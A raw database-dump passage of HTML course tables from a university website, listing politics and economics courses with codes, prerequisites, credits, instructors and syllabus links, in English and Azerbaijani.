style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Aygul%20Ismayilova-History%20of%20Europe.pdf\">History of European Countries</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Aygul Ismayi<span style=\"text-align:justify\">lova</span></div>\r\n  </td>\r\n </tr>\r\n</tbody></table><br><p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><br></p><p style=\"text-align:left\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; Fall&nbsp;2018: Courses &amp; Syllabi (M.A.)</strong>&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"83\">\r\n  <div style=\"text-align:center\"><strong>Code</strong></div>\r\n  </td>\r\n  <td width=\"306\" style=\"text-align:center\">\r\n  <div style=\"text-align:center\"><strong>Subject</strong></div>\r\n  </td>\r\n  <td width=\"169\" style=\"text-align:center\">\r\n  <div><strong>Instructor</strong></div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 511</div>\r\n  </td>\r\n  <td width=\"306\" style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Gunay%20Bayramova-History%20of%20%20International%20relations%20Syllabus%20Fall%202018.pdf\">History of International Relations</a></div>\r\n  </td>\r\n  <td width=\"169\" style=\"\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div style=\"text-align:center\">Gunay Bayramli</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 513</div>\r\n  </td>\r\n  <td width=\"306\" style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Gunay%20Mukhtarli-Globalization%20syllabus.pdf\">Globalization Process in Contemporary IR</a></div>\r\n  </td>\r\n  <td width=\"169\" style=\"\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div style=\"text-align:center\">Gunay Mukhtarli</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 614</div>\r\n  </td>\r\n  <td width=\"306\" style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Vasif%20Huseynov-Transnational-Terrorism_Fall2018%20(002).pdf\">Transnational Terrorism</a></div>\r\n  </td>\r\n  <td width=\"169\" style=\"\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div style=\"text-align:center\">Vasif Huseynov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 611</div></td><td width=\"306\" style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\"><div><a href=\"http://www.khazar.org/files/politics_depart/Aygul%20Ismayilova-Conflict%20Studies.pdf\">Conflict Studies</a></div></td><td width=\"169\" style=\"\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\"><div style=\"text-align:center\">Aygul Ismayılova</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 620</div></td><td width=\"306\" style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\"><div><a href=\"http://www.khazar.org/files/politics_depart/Ziya%20Mursalzada-International%20Political%20Economy.pdf\">International Political Economy</a></div>\r\n  </td>\r\n  <td width=\"169\" style=\"\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt\";vertical-align:top\"=\"\">\r\n  <div style=\"text-align:center\">Ziya Mursalzada</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 605</div></td><td width=\"306\" style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:1.25pt\";vertical-align:top\"=\"\"><div><a href=\"http://www.khazar.org/files/politics_depart/Rashad%20Huseynov-Diplomacy%20and%20Statecraft.pdf\">Diplomacy and Statecraft</a></div><div></div></td><td width=\"169\" style=\"text-align: center;\" width:126.4pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:1.25pt\";vertical-align:top\"=\"\"><div style=\"text-align:center\">Rashad Huseynov</div>\r\n  </td>\r\n </tr><tr><td>PSIR 617<br></td><td><a href=\"http://www.khazar.org/files/politics_depart/Bakhtiyar%20Badalov-EU%20Policies%20and%20Politics.pdf\">EU Policies and Politics<br></a></td><td style=\"text-align:center\">Bakhtiyar Badalov</td></tr><tr><td>PSIR 623</td><td><a href=\"http://www.khazar.org/files/politics_depart/Bakhtiyar%20Badalov-EU%20politics-Comparative%20Analysis.pdf\">European Politics: Comparative Analysis <br></a></td><td style=\"text-align:center\">Bakhtiyar Badalov</td></tr>\r\n</tbody></table>'),(3441,2022,'en','Course Load Spring 2018','Syllabi','<p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><em><em><strong>Course Load&nbsp;- Spring&nbsp;2018</strong></em>  <br></em></p><div><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255); background-image: url(&quot;&quot;);\"><em><br></em></p><table><tbody><tr><td><br></td><td>Code&nbsp;&nbsp;</td><td>Course name&nbsp;&nbsp;</td><td>Prerequisites&nbsp;</td><td>Credits&nbsp;</td><td>&nbsp;Instructor</td></tr><tr><td>&nbsp;</td><td>&nbsp;1st&nbsp;year</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1&nbsp;</td><td>&nbsp;ENGL 102</td><td>&nbsp;English Foundations-2&nbsp;(A)</td><td>&nbsp;ENGL 101</td><td>&nbsp;8</td><td>&nbsp;Saadat Farhadova</td></tr><tr><td>2</td><td>&nbsp;ENGL 102</td><td>&nbsp;English Foundations-2&nbsp;(B)</td><td>&nbsp;ENGL 101</td><td>&nbsp;8</td><td>&nbsp;Leyla Rahimova</td></tr><tr><td>3</td><td>&nbsp;ENGL 102</td><td>&nbsp;English Foundations-2&nbsp;(C)</td><td>&nbsp;ENGL 101</td><td>&nbsp;8</td><td>&nbsp;Nubar Aghalarova</td></tr><tr><td>4&nbsp;</td><td>&nbsp;ENGL 102</td><td>&nbsp;English Foundations-2&nbsp;(D)</td><td>&nbsp;ENGL 101</td><td>&nbsp;8</td><td>&nbsp;Saadat Farhadova</td></tr><tr><td>5</td><td>&nbsp;ECON 100</td><td>&nbsp;Introduction to Economy&nbsp;</td><td>&nbsp;None&nbsp;<br></td><td>&nbsp;3</td><td>&nbsp;Fuat Rasulov</td></tr><tr><td>6</td><td>&nbsp;ECON 103</td><td>&nbsp;Azerbaijan Economy</td><td>&nbsp;None</td><td>&nbsp;3</td><td>&nbsp;Fuat Rasulov</td></tr><tr><td>7</td><td>&nbsp;AZLL 105</td><td>&nbsp;Azerbaijani Literature (A)</td><td>&nbsp;AZLL 101</td><td>&nbsp;6</td><td>&nbsp;Elza Ismayilova</td></tr><tr><td>8</td><td>&nbsp;AZLL 105</td><td>&nbsp;Azerbaijani Literature (B)</td><td>&nbsp;AZLL 101</td><td>&nbsp;6</td><td>&nbsp;Elza Ismayilova</td></tr><tr><td>9</td><td>&nbsp;AZLL 105</td><td>&nbsp;Azerbaijani Literature (C)</td><td>&nbsp;AZLL 101</td><td>&nbsp;6</td><td>&nbsp;Elza Ismayilova</td></tr><tr><td>10</td><td>&nbsp;AZLL 105</td><td>&nbsp;Azerbaijani Literature&nbsp;(D)</td><td>&nbsp;AZLL 101</td><td>&nbsp;6</td><td>&nbsp;Khatira Yusifova</td></tr><tr><td>11</td><td>&nbsp;AZC&nbsp;201</td><td>&nbsp;Azerbaijani Culture</td><td>&nbsp;None</td><td>&nbsp;6</td><td>&nbsp;Faculty</td></tr><tr><td>12</td><td>&nbsp;AZH 150</td><td>&nbsp;History of Azerbaijan&nbsp;</td><td>&nbsp;None</td><td>&nbsp;6</td><td>&nbsp;Khagan Balayev</td></tr><tr><td>13</td><td>&nbsp;LAW&nbsp;220</td><td>&nbsp;Family Law</td><td>&nbsp;None</td><td>&nbsp;6</td><td>&nbsp;Akif Alizade</td></tr><tr><td>14</td><td>&nbsp;INTLAW 262</td><td>&nbsp;Human Rights</td><td>&nbsp;None</td><td>&nbsp;6</td><td>&nbsp;Akif Alizade</td></tr><tr><td>15</td><td>&nbsp;MED 315</td><td>&nbsp;Life Science (A)</td><td>&nbsp;None</td><td>&nbsp;6</td><td>&nbsp;Parvana Bakhshaliyeva</td></tr><tr><td>16</td><td>&nbsp;MED 315</td><td>&nbsp;Life Science (B)</td><td>&nbsp;None</td><td>&nbsp;6</td><td>&nbsp;Parvana Bakhshaliyeva</td></tr><tr><td>17</td><td>&nbsp;MED 315</td><td>&nbsp;Life Science (C)</td><td>&nbsp;None</td><td>&nbsp;6</td><td>&nbsp;Mais Talishkhanov</td></tr><tr><td colspan=\"6\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;2nd&nbsp;year</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1</td><td>&nbsp;ENGL 103</td><td>&nbsp;Academic English</td><td>&nbsp;ENGL 102</td><td>&nbsp;8</td><td>&nbsp;Gulnur Nabiyeva</td></tr><tr><td>2</td><td>&nbsp;ENGL 216</td><td>&nbsp;English for Special Purposes (A)</td><td>&nbsp;ENGL 103</td><td>&nbsp;6</td><td>&nbsp;Ilham Taghiyev</td></tr><tr><td>3</td><td>&nbsp;ENGL 216</td><td>&nbsp;English for Special Purposes (B)</td><td>&nbsp;ENGL 103</td><td>&nbsp;6</td><td>&nbsp;Ilham Taghiyev</td></tr><tr><td>4</td><td>&nbsp;ENGL 216</td><td>&nbsp;English for Special Purposes (C)</td><td>&nbsp;ENGL 103</td><td>&nbsp;6</td><td>&nbsp;Shahriyar Mammadov</td></tr><tr><td>5</td><td>&nbsp;MATH 101</td><td>&nbsp;Calculus (A)</td><td>&nbsp;None</td><td>&nbsp;6</td><td>&nbsp;Sabina Sadigova</td></tr><tr><td>6</td><td>&nbsp;MATH 101</td><td>&nbsp;Calculus (B)</td><td>&nbsp;None</td><td>&nbsp;6</td><td>&nbsp;Sabina Sadigova</td></tr><tr><td>7</td><td>&nbsp;ECON 201</td><td>&nbsp;Principles of Microeconomics</td><td>&nbsp;ECON 100</td><td>&nbsp;6</td><td>&nbsp;Shahriyar Mukhtarov</td></tr><tr><td>8</td><td>&nbsp;ECON 202</td><td>&nbsp;Principles of Macroeconomics (A)</td><td>&nbsp;ECON 201</td><td>&nbsp;6</td><td>&nbsp;Jeyhun Mammadov</td></tr><tr><td>9</td><td>&nbsp;ECON 202</td><td>&nbsp;Principles of Macroeconomics (B)</td><td>&nbsp;ECON 201</td><td>&nbsp;6</td><td>&nbsp;Shahriyar Mukhtarov</td></tr><tr><td>10</td><td>&nbsp;MATH 225</td><td>&nbsp;Mathematics for Economics and Business (A)</td><td>&nbsp;MATH 101</td><td>&nbsp;6</td><td>&nbsp;Zaur Abdullazade</td></tr><tr><td>11&nbsp;</td><td>&nbsp;MATH 225</td><td>&nbsp;Mathematics for Economics and Business (B)</td><td>&nbsp;MATH 101</td><td>&nbsp;6</td><td>&nbsp;Zaur Abdullazade</td></tr><tr><td>12</td><td>&nbsp;BSA 205</td><td>&nbsp;Computer Applications in Business and Economics (A)</td><td>&nbsp;CMS 101</td><td>&nbsp;6</td><td>&nbsp;Ismayil Ismayilov</td></tr><tr><td>13</td><td>&nbsp;BSA 205</td><td>&nbsp;Computer Applications in Business and Economics (B)</td><td>&nbsp;CMS 101</td><td>&nbsp;6</td><td>&nbsp;Javidan Feyziyev</td></tr><tr><td>14&nbsp;</td><td>&nbsp;BSA 205</td><td>&nbsp;Computer Applications in Business and Economics (C)</td><td>&nbsp;CMS 101</td><td>&nbsp;6</td><td>&nbsp;Javidan Feyziyev</td></tr><tr><td>15</td><td>&nbsp;ACC 210</td><td>&nbsp;Principles of Accounting</td><td>&nbsp;None</td><td>&nbsp;6</td><td>&nbsp;Elvin Mammadov</td></tr><tr><td>16</td><td>&nbsp;ACC 310</td><td>&nbsp;Financial Accounting</td><td>&nbsp;ACC 210</td><td>&nbsp;6</td><td>&nbsp;Tarlan Isgandarov</td></tr><tr><td>17</td><td>&nbsp;FREN 202</td><td>&nbsp;French-&nbsp;2</td><td>&nbsp;FREN 201</td><td>&nbsp;6</td><td>&nbsp;Vafa Baghirzade</td></tr><tr><td>18</td><td>&nbsp;GERM 202</td><td>&nbsp;German-&nbsp;2&nbsp;(A)</td><td>&nbsp;GERM 201</td><td>&nbsp;6</td><td>&nbsp;Sadagat Jumayeva</td></tr><tr><td>19</td><td>&nbsp;GERM 202</td><td>&nbsp;German-&nbsp;2&nbsp;(B)</td><td>&nbsp;GERM 201</td><td>&nbsp;6</td><td>&nbsp;Sadagat Jumayeva</td></tr><tr><td>20&nbsp;</td><td>&nbsp;CHIN 202</td><td>&nbsp;Chinese-&nbsp;2</td><td>&nbsp;CHIN 201</td><td>&nbsp;6</td><td>&nbsp;Li Ya</td></tr><tr><td colspan=\"6\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;3rd&nbsp;year</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1</td><td>&nbsp;MGT 330</td><td>&nbsp;Business and professional communication (A)</td><td>&nbsp;MGT 310</td><td>&nbsp;6</td><td>&nbsp;Erkin Nasirov</td></tr><tr><td>2</td><td>&nbsp;MGT 330</td><td>&nbsp;Business and professional communication (B)</td><td>&nbsp;MGT 310</td><td>&nbsp;6</td><td>&nbsp;Erkin Nasirov</td></tr><tr><td>3</td><td>&nbsp;LAW 305</td><td>&nbsp;Economics and Business Law</td><td>&nbsp;ECON 100</td><td>&nbsp;6</td><td>&nbsp;Elnur Eyvazov</td></tr><tr><td>4</td><td>&nbsp;FIN 350</td><td>&nbsp;Money, Banking and Financial Institutions</td><td>&nbsp;FIN 310</td><td>&nbsp;6</td><td>&nbsp;Elmir Huseynov</td></tr><tr><td>5</td><td>&nbsp;ECON 450</td><td>&nbsp;Econometrics</td><td>&nbsp;BSA 215</td><td>&nbsp;6</td><td>&nbsp;Vusal Mammadrzayev</td></tr><tr><td>6</td><td>&nbsp;ECON 315</td><td>&nbsp;Intermediate Macroeconomics</td><td>&nbsp;ECON 202</td><td>&nbsp;6</td><td>&nbsp;Jeyhun Mammadov</td></tr><tr><td>7</td><td>&nbsp;FIN 410</td><td>&nbsp;Financial Management</td><td>&nbsp;FIN 310</td><td>&nbsp;6</td><td>&nbsp;Elvin Mammadov</td></tr><tr><td>8</td><td>&nbsp;ACC 425</td><td>&nbsp;Financial Reporting and Analysis</td><td>&nbsp;ACC 310</td><td>&nbsp;6</td><td>&nbsp;Kamil Haydarov</td></tr><tr><td>9</td><td>&nbsp;MGT 380</td><td>&nbsp;Business Ethics and Social Responsibility</td><td>&nbsp;MGT 310</td><td>&nbsp;6</td><td>&nbsp;Bahadir Baysal</td></tr><tr><td>10</td><td>&nbsp;MGT 455</td><td>&nbsp;Entrepreneurship and Innovation Management &nbsp;</td><td>&nbsp;MGT 310</td><td>&nbsp;6</td><td>&nbsp;Fuat Rasulov</td></tr><tr><td>11</td><td>&nbsp;MGT 410</td><td>&nbsp;Organizational Behavior</td><td>&nbsp;MGT 310</td><td>&nbsp;6</td><td>&nbsp;Bahadir Baysal</td></tr><tr><td colspan=\"6\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;4th&nbsp;year</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1</td><td>&nbsp;MGT 465</td><td>&nbsp;Strategic management and business policy (A)</td><td>&nbsp;MGT 310</td><td>&nbsp;6</td><td>&nbsp;Rasul Hajiyev</td></tr><tr><td>2</td><td>&nbsp;MGT 465</td><td>&nbsp;Strategic management and business policy (B)</td><td>&nbsp;MGT 310</td><td>&nbsp;6</td><td>&nbsp;Toghrul Mammadov</td></tr><tr><td>3</td><td>&nbsp;MKT 465</td><td>&nbsp;Marketing Strategy</td><td>&nbsp;MKT 301</td><td>&nbsp;6</td><td>&nbsp;Ulviyya Ahmadova</td></tr><tr><td>4</td><td>&nbsp;MGT 452</td><td>&nbsp;Data Analysis and Decision Making</td><td>&nbsp;BSA 215</td><td>&nbsp;6</td><td>&nbsp;Vusal Mammadrzayev</td></tr><tr><td>5</td><td>&nbsp;MGT 485</td><td>&nbsp;Negotiation and Conflict Management</td><td>&nbsp;MGT 310</td><td>&nbsp;6</td><td>&nbsp;Bahadir Baysal</td></tr><tr><td>6</td><td>&nbsp;MGT 460</td><td>Project Management&nbsp;<br></td><td>&nbsp;MGT 310</td><td>&nbsp;6</td><td>&nbsp;Khumar Huseynova</td></tr><tr><td>7</td><td>&nbsp;ACC 455</td><td>Accounting Information Systems</td><td>&nbsp;ACC 310</td><td>&nbsp;6</td><td>&nbsp;Humbat Humbatov</td></tr><tr><td>8</td><td>&nbsp;ACC 450</td><td>&nbsp;Audit (A)</td><td>&nbsp;ACC 210</td><td>&nbsp;6</td><td>&nbsp;Elnur Ramazanov</td></tr><tr><td>9</td><td>&nbsp;ACC 450</td><td>&nbsp;Audit (B)</td><td>&nbsp;ACC 210</td><td>&nbsp;6</td><td>&nbsp;Zaur Abdullazade</td></tr><tr><td>10</td><td>&nbsp;FIN 470</td><td>&nbsp;International Finance</td><td>&nbsp;FIN 310</td><td>&nbsp;6</td><td>&nbsp;Nijat Guliyev</td></tr><tr><td>11</td><td>&nbsp;FIN 455</td><td>&nbsp;Risk Management</td><td>&nbsp;ECON 202</td><td>&nbsp;6</td><td>&nbsp;Tural Gasimov</td></tr><tr><td>12</td><td>&nbsp;MKT 470</td><td>&nbsp;Digital Marketing</td><td>&nbsp;MKT 301</td><td>&nbsp;6</td><td>&nbsp;Laman Gayidova</td></tr><tr><td>13</td><td>&nbsp;ECON 445 &nbsp;</td><td>&nbsp;Managerial Economics</td><td>&nbsp;ECON 201</td><td>&nbsp;6</td><td>&nbsp;Rovshan Guliyev</td></tr><tr><td>14</td><td>&nbsp;ECON 470 &nbsp;</td><td>&nbsp;Development Economics</td><td>&nbsp;ECON 202</td><td>&nbsp;6</td><td>&nbsp;Ilaha Abasli</td></tr><tr><td>15</td><td>&nbsp;ECON 475</td><td>&nbsp;Economic Regulation and Diversification</td><td>&nbsp;ECON 202</td><td>&nbsp;6</td><td>&nbsp;Ingilab Ahmadov</td></tr><tr><td>16</td><td>&nbsp;ECON 425</td><td>&nbsp;Environmental Economy and Policy</td><td>&nbsp;ECON 202</td><td>&nbsp;6</td><td>&nbsp;Rovshan Abbasov</td></tr></tbody></table><br><em><br></em><p><em>MBA</em></p><table><tbody><tr><td>1</td><td>&nbsp;MKT 840</td><td>&nbsp;Marketing Management</td><td>&nbsp;None</td><td>6</td><td>&nbsp;Laman Gayidova &nbsp;</td></tr><tr><td>2</td><td>&nbsp;ACC 840</td><td>&nbsp;Management and Cost Accounting&nbsp;<br></td><td>&nbsp;ACC 801</td><td>6</td><td>&nbsp;Orkhan Karimov</td></tr><tr><td>3</td><td>&nbsp;FIN 830</td><td>&nbsp;Financial Management</td><td>&nbsp;ACC 801</td><td>6</td><td>&nbsp;Tarana Azimova</td></tr><tr><td>4</td><td>&nbsp;MGT 860</td><td>&nbsp;Strategic Management</td><td>&nbsp;ECON 830</td><td>6</td><td>&nbsp;Fariz Jafarov</td></tr><tr><td>5</td><td>&nbsp;FIN 845</td><td>&nbsp;International Finance</td><td>&nbsp;FIN 830</td><td>6</td><td>&nbsp;Nijat Garayev</td></tr><tr><td>6</td><td>&nbsp;MKT 850</td><td>&nbsp;International Marketing</td><td>&nbsp;MKT 840</td><td>6</td><td>&nbsp;Vusal Hasanov</td></tr><tr><td>7</td><td>&nbsp;FIN 851</td><td>&nbsp;Investment Management</td><td>&nbsp;FIN 830</td><td>6</td><td>&nbsp;Tarana Azimova</td></tr><tr><td>8</td><td>&nbsp;FIN 880</td><td>&nbsp;Financial Reporting and Analysis</td><td>&nbsp;FIN 830; ACC 801</td><td>6</td><td>&nbsp;Niyazi Abbasov</td></tr><tr><td>9</td><td>&nbsp;ACC 810</td><td>&nbsp;Auditing</td><td>&nbsp;ACC 801</td><td>6</td><td>&nbsp;Elnur Ramazanov</td></tr><tr><td>10</td><td>&nbsp;MKT 855</td><td>&nbsp;Marketing Research</td><td>&nbsp;MKT 840</td><td>6</td><td>&nbsp;Laman Gayidova</td></tr><tr><td>11&nbsp;</td><td>&nbsp;IB 820</td><td>&nbsp;International Business</td><td>&nbsp;ECON 830</td><td>6</td><td>&nbsp;Fuad Aliyev</td></tr></tbody></table><br><div><p><br></p><p>Head of Economics and Management Department&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dr. Jeyhun Mammadov</p></div>  <br></div>'),(3442,2022,'az','Sillabuslar','Sillabuslar','<p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><em>Dərs yükü-&nbsp;Payız&nbsp;2017</em></p><table style=\"box-sizing:border-box;border-spacing:0px;border-collapse:collapse;background-color:#ffffff;border-style:solid;border-color:#cccccc;color:#333333;font-family:\'Source Sans Pro\', sans-serif;font-size:14px\"><tbody style=\"box-sizing:border-box\"><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top;background-color:#00ccff\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top;background-color:#00ccff\"><span style=\"box-sizing:border-box;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media2874210712256884\" width=\"150\" height=\"100\">\"Fənnin kodu&nbsp;</span>&nbsp;&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top;background-color:#00ccff\"><span style=\"box-sizing:border-box;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media5366326353600239\" width=\"150\" height=\"100\">\"Fənnin adı&nbsp;</span>&nbsp;&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top;background-color:#00ccff\"><span style=\"box-sizing:border-box;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media5012661205988387\" width=\"150\" height=\"100\">\"Ön şərtlər&nbsp;</span>&nbsp;&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top;background-color:#00ccff\"><span style=\"box-sizing:border-box;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media3602592810758809\" width=\"150\" height=\"100\">\"Kredit sayı&nbsp;</span>&nbsp;&nbsp;</td><td style=\"background-color:#00ccff\"><strong>Müəllimin&nbsp;adı və soyadı</strong>&nbsp;</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<span style=\"box-sizing:border-box;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media972797555146617\" width=\"150\" height=\"100\">1-ci il</span></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td>&nbsp;</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">1&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/a_Foundations_1_Saadat_F.pdf\">İngilis dilinin əsasları-1 (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;8</td><td>&nbsp;Səadət Fərhadova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">2</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ENGL 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 